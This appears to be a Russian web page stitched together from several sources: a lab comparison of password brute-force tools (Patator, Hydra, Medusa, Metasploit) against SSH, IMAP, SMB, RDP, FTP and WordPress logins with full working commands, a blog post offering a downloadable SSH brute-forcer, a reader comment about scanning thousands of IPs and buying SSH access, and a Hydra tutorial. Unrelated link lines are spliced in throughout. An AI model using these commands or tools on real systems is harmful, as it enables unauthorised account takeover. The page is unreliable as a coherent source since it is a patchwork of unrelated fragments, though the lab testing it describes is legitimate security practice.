Ssh bruteforce для windows

Генерация словаря

Crunch

Словарь с пользователями мы взяли небольшой и записали в него 4 пользователя.

Для составления словаря используется Crunch, как встроенное средство. Инструмент гибкий и может составить словарь по определенной маске. Если есть вероятность того, что пользователь может использовать словарный пароль, то лучше воспользоваться уже готовыми решениями, тем более, что, как показывает практика, самый популярный пароль – 123456.

Генерировать словарь будем на 5 символов по маске. Данный метод подходит для случаев, когда мы имеем представление о структуре пароля пользователя.

crunch 5 5 qwe ASD 1234567890 -t @@,%@ -o /root/wordlist.txt

5 – минимальное и максимальное количество символов;
qwe, ASD, 1234567890 – используемые символы;
-t – ключ, после которого указывается маска для составления пароля;
@ – нижний регистр;
, – верхний регистр;
% – цифры.

Сразу отметим, что на первых этапах мы будем для каждого инструмента описывать используемые ключи, но далее те же самые ключи уже не будут рассматриваться подробно, поскольку они крайне похожи друг на друга, а значит, имеют аналогичный синтаксис.

Patator

patator ssh_login host=192.168.60.50 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:mesg=’Authentication failed’

ssh_login – модуль;
host – наша цель;
user – логин пользователя, к которому подбирается пароль или файл с логинами для множественного подбора;
password – словарь с паролями;
-x ignore:mesg=’Authentication failed’ – не выводить на экран строку, имеющую данное сообщение. Параметр фильтрации подбирается индивидуально.

Все инструменты мы тестируем с количеством потоков по умолчанию, никаким образом их количество не изменяем.
Patator справился ровно за 7 минут 37 секунд, перебрав 2235 вариантов.

Hydra

hydra -f -L /root/username -P /root/wordlist.txt ssh://192.168.60.50

-f – остановка перебора после успешного подбора пары логин/пароль;
-L/-P – путь до словаря с пользователями/паролями;
ssh://IP-адрес – указание сервиса и IP-адреса жертвы.

Hydra затратила на перебор 9 минут 11 секунд.

Medusa

medusa -h 192.168.60.50 -U /root/username -P /root/wordlist.txt -M ssh

-h – IP-адрес целевой машины;
-U/-P – путь к словарям логинов/паролей;
-М – выбор нужного модуля.

Medusa за 25 минут обработала только 715 комбинаций логин/пароль, поэтому данный инструмент не лучший выбор в случае с брутфорсом SSH.

Metasploit

Произведем поиск инструмента для проведения brute-force атаки по SSH:
search ssh_login

Задействуем модуль:
use auxiliary/scanner/ssh/ssh_login

Для просмотра необходимых параметров воспользуемся командой «show options». Для нас это:
rhosts – IP-адрес жертвы;
rport – порт;
user_file – путь до словаря с логинами;
pass_file – путь до словаря c паролями;
stop_on_success – остановка, как только найдется пара логин/пароль.

По умолчанию Metasploit использует 1 поток, поэтому и скорость перебора с использованием этого модуля очень низкая. За 25 минут так и не удалось подобрать пароль.

Patator

patator imap_login host=192.168.100.109 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:code=1

Читайте также:  Отключение шумоподавления windows 10

imap_login – используемый модуль;
-x – параметр, который помогает фильтровать ответы от Patator. В данном случае игнорируем ответы с кодом 1.

Параметр х является уникальным для каждого конкретного случая, поэтому рекомендуется сначала запустить инструмент без него и посмотреть какие ответы в основном приходят, чтобы затем их игнорировать.

В итоге Patator смог подобрать пароль за 9 минут 28 секунд, что является практически тем же самым показателем, что и в случае с SSH.

Hydra

hydra -f imap://192.168.60.50 -L /root/username -P /root/wordlist.txt

Hydra справилась за 10 минут 47 секунд, что довольно неплохо.

Medusa

В связи с тем, что на сервере использовался самоподписанный сертификат, Medusa выдавала ошибку, исправить которую настройками инструмента не удалось.

Metasploit

В Metasploit не удалось подобрать подходящий модуль для брутфорса IMAP.

Patator

При использовании Patator появилось большое количество ложных срабатываний.

Hydra

hydra -L /root/username -P /root/wordlist.txt 192.168.60.50 smb

Благодаря своим алгоритмам Hydra справилась с задачей всего за 5 секунд.

Medusa

medusa -h 192.168.60.50 -U /root/username -P /root/wordlist.txt -M smbnt

Запуская перебор, я ожидал результатов, схожих с предыдущими, но на этот раз Medusa меня приятно удивила, отработав за считанные секунды.

Metasploit

С помощью поиска search smb_login находим нужный модуль scanner/smb/smb_login и применяем его.

Необходимо указать параметры:
RHOSTS – IP-адрес жертвы;
USER_FILE – словарь с пользователями;
PASS_FILE – словарь с паролями;
STOP_ON_SUCCESS – остановка после подобранной пары логин/пароль.

Metasploit справился с задачей за 1 минуту.

Patator

patator rdp_login host=192.168.60.50 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:code=132

К сожалению, на данный момент из тестируемых инструментов только Patator может подбирать логин/пароль для RDP-протокола. При этом, даже если Patator и справился с поставленной задачей, в выводе дополнительно появилось ложное срабатывание.

Для начала нам необходимо понять, как происходит процесс аутентификации.
Для этого нужно отправить тестовые запросы аутентификации и уже из поведения веб-приложения можно будет увидеть, что неверный пароль возвращает код ответа 200, а успешная аутентификация — 302. На эту информацию и будем опираться.

Patator

Учитывая ответы веб-приложения на тестовые запросы, составим команду для запуска Patator:

patator http_fuzz url=http://site.test.lan/wp-login.php method=POST body=’log=FILE0&pwd=FILE1&wp-submit=Log+In&redirect_to=http%3A%2F%2Fsite.test.lan%2Fwp-admin%2F&testcookie=1′ 0=/root/username 1=/root/wordlist.txt before_urls=http://site.test.lan/wp-login.php -x ignore:code=200 accept_cookie=1

http_fuzz – модуль для brute-force атаки HTTP;
url – адрес страницы с аутентификацией;
FILE0 – путь до словаря с паролями;
body – информация, которая передается в POST запросе при аутентификацией;
-x – в данном случае мы указали команду не выводить на экран сообщения, содержащие параметр с кодом 200;
accept_cookie – сохранение параметра cookie и передачи его в следующий запрос;
Итог — нам удалось подобрать пароль чуть менее, чем за 30 секунд, что очень быстро.

Hydra

Как мы уже знаем, при неверной аутентификации возвращается код 200, а при успешной — 302. Воспользуемся этой информацией и выполним команду:

hydra -f -L /root/username -P /root/wordlist.txt http-post-form://site.test.lan -m «/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fsite.test.lan%2Fwp-admin%2F&testcookie=1:S=302»

Здесь мы указываем обязательные параметры:
-f – завершить перебор после получения валидной пары логин/пароль;
-L – словарь с пользователями;
-P – словарь с паролями;
http-post-form – тип формы (в нашем случае POST);
/wp-login.php – URL страницы с аутентификацией;
^USER^ – показывает куда подставлять имя пользователя;
^PASS^ – показывает куда подставлять пароль из словаря;
S=302 – указание на какой ответ опираться Hydra (в нашем случае — ответ 302 при успешной аутентификации).

Читайте также:  Узел службы superfetch грузит диск windows 10

Успех ожидал нас уже через 3 минуты 15 секунд.

Medusa

medusa -h site.test.lan -U /root/username -P /root/wordlist.txt -M web-form -m FORM:»/wp-login.php» -m FORM-DATA:»post?log=&pwd=&wp-submit=Log+In&redirect_to=http%3A%2F%2Fsite.test.lan%2Fwp-admin%2F&testcookie=1″

К сожалению, при попытках перебора пароля Medusa выдает ошибку «Segmentation fault».

Metasploit

С помощью поиска search wordpress_login находим нужный модуль auxiliary/scanner/http/wordpress_login_enum и применяем его. Необходимо указать параметры:
PASS_FILE – словарь с паролями;
RHOSTS – адрес жертвы;
STOP_ON_SUCCESS – остановка после подобранной пары логин/пароль;
USER_FILE – словарь с пользователями;
VALIDATE_USERS – отключить проверку существования учетной записи пользователя;
VERBOSE – отключить лишний вывод;
VHOST – доменное имя атакуемого сайта.
Затраченное время — 32 секунды.

Patator

patator ftp_login host=192.168.60.50 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:code=530

В данном модуле Patator работает уже медленнее, чем с Web-формами, а пароль был подобран за 11 минут 20 секунд.

Hydra

hydra -f -L /root/username -P /root/wordlist.txt ftp://192.168.60.50

Работая по умолчанию в 16 потоков, Hydra смогла перебрать пароли за 7 минут 55 секунд.

Metasploit, Medusa

В Metasploit используем модуль auxiliary/scanner/ftp/ftp_login

В случае с Medusa запрос выглядит следующим образом:
medusa -f -M ftp -U /root/username -P /root/wordlist.txt -h 192.168.60.50

Все параметры стандартные, указываем путь до словарей и обязательно ставим завершение перебора после найденной пары логин/пароль.
С этим протоколом, как и c SSH, Metasploit и Medusa плохо справляются при стандартном количестве потоков. Поэтому если есть желание использовать именно эти инструменты, то необходимо вручную увеличивать количество потоков. Но и тут не все так просто. В однопоточном режиме FTP-сервер при использовании этих инструментов, сбросил соединение, чего не наблюдалось при использовании Patator или Hydra. Поэтому есть вероятность, что увеличение количества потоков не изменит ситуацию.

Протестировав разные, но в то же время похожие инструменты на различных сервисах, можно сказать, что у каждого из них есть как достоинства, так и недостатки, а с каким инструментом работать — решать только вам.

Ниже представлена сводная таблица с полученными результатами:

P.S. Потренироваться можно в наших лабораториях lab.pentestit.ru.

Оставить комментарий Отменить ответ

Для отправки комментария вам необходимо авторизоваться.

SSH Bruteforce

Написал небольшой брутфорс учетных записей SSH.

Возможности:
[+] Многопоточность
[+] Три режима перебора: по списку логинов, по списку паролей, по списку логин;пароль
[+] Перебор IP по диапазону или по списку из файла
[+] Возможность установки таймаута соединения при проверке порта

Подобранные данные сохраняются в файл brute_good.txt. Распараллеливание идет по IP-адресам, т.е. если в диапазоне 1 IP и в настройках стоит 100 потоков, то фактически перебор идет в 1 поток.

Скачать: sshb.zip (пароль на архив: kaimi-ru)
Говноисходники: sshb_src.zip

Читайте также:  Linux failed to install file

Update (22.01.14): Немного поправил код, устранил утечку памяти, добавил дополнительную проверку на успешную авторизацию, сделал сборку с libssh 0.6.0 и OpenSSL 1.0.1f.
Собранная версия
Проект для MSVC 2010+
GitHub: ssh-bruteforce

SSH Bruteforce: 191 комментарий

Установил на дедик программу, 3500 айпи диапазон, скан на логин admin и 5 паролей таких же часто встречающихся. Но за несколько часов не одного файла в broote_good. А в программе все перебирает и перебирает. Я покупал десятки SSH с подобными паролями и уверен, что их должно быть больше чем ничего за 2 дня периодического парсинга. Возможно у меня не правильно работает программа или конфигурация системы не верная? Прокомментируйте, пожалуйста.

Information Security Squad

stay tune stay secure

🐍 Брутим SSH удаленного сервера

Брутим SSH удаленного сервера

Для брута (атаки перебором паролей) будем использовать инструмент Hydra, который входит в состав дистрибутива Kali Linux. SSH присутствует на любом сервере Linux или Unix и, как правило, является основным способом использования администраторами для доступа к своим системам и управления ими.

Предупреждение: Hydra является инструментом для атак

« Используйте его только в собственных системах и сетях, если у вас нет письменного разрешения владельца. В противном случае, это незаконно . »

Для реализации атаки используем команду:

Теперь разберем ее:

– s – Флаг указывает на порт. Стоит отметить, что администраторы могут заменить дефолтный 22 порт для работы службы ssh, чтобы узнать на каком порту работает служба необходимо произвести первоначальное сканирование цели с помощью инструмента Nmap. О том как это сделать мы писали ранее в статье .

– l – флаг указывает на логин, в нашем примере мы используем root и admin. (можем указать здесь ссылку на словарь)

– P – флаг указывает на пароль, в нашем случае мы используем словарик fasttrack .txt из дистрибутива kali, который располагается в директории /usr/share/wordlists/

Стоит отметить, что для эффективного проведения атаки брутфорсом стоит должное внимание уделить подготовки словаря, а именно: учесть географические и лингвистические особенности, включить в словарь название компании, названия ее дочерних предприятий, названия работающих сервисов и приложений, фамилии работников и т. д.

192.168.1.1 – ip адресс цели, так как используемая нами цель имеет белый ip, он замазан

– t — флаг указывает на число одновременно используемых потоков. Укажем 4

ssh — используемый протокол

По результатам работы команды видим, что пароли из словаря не подошли для логинов admin и root

Выводы

Hydra является удобным и простым инструментом для тестирования парольной политики SSH.

Инструмент способен просматривать массивные списки имен пользователей, паролей и целей для проверки, если вы или пользователь используете потенциально уязвимый пароль.

Hydra имеет гибкую настро йку , используя свои многочисленные флаги для ряда всевозможны х ситуаций.

Для любого ибешника обеспечение безопасности паролей SSH должно быть главным приоритетом.

Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.

Оцените статью